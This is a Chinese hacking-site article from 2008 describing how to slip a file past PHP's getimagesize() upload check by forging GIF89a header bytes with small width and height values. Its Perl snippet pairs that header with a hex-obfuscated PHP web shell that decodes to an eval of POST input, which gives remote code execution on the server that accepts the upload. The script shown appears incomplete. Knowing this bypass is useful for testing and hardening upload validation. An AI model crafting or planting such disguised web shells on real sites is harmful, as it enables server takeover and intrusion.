首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
安全知识 :: 专题文章

Bypass getimagesize()函数缺陷


http://www.gipsky.com/
ps:我站里面竟然没收录,也不知道是没找到,再收录下了,^_^。



By:superhei



很多php代码都用getimagesize()来判定你上传文件是不是图片,很多人在黑盒测试都会使用在php代码前加个GIF89a来绕过这样的代码:



if(getimagesize($file)){

print yes;

}else{

print no;

}







但是有很多的情况还有其他的限制,比如分辨率n x n 如以下代码:



if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {

if ($size['0'] > 100 || $size['1'] > 100) {

unlink(IMAGES."avatars/".$avatarname);

$set_avatar = "";







先看看gif文件头:



00000000h: 47 49 46 38 39 61 AB 02 E5 03 B3 00 00 00 80 00 ; GIF89a???..?.

G I F 8 9 a $size['0'] $size['1']

$size['0']x$size['1'] = [AB 02]683 x [E5 03]997







perl代码:



#!/usr/bin/perl

#The Script could pass getimagesize()



#gif size: 99x98 pixels

$gifhead="\x47\x49\x46\x38\x39\x61". #GIF89a

"\x63\x00".#99

"\x62\x00";#98



$phpcode="\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x5d\x29\x3f\x3e";#http://www.4ngel.net/article/57.htm







[最后修改由 , 于 2008-09-09 17:11:33]
<< 从CSDN 漏洞谈.NET 安全开发 一个看你反应速度的javascript游戏~ >>
评分
10987654321
API:
gipsky.com& 安信网络
网友个人意见,不代表本站立场。对于发言内容,由发表者自负责任。

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号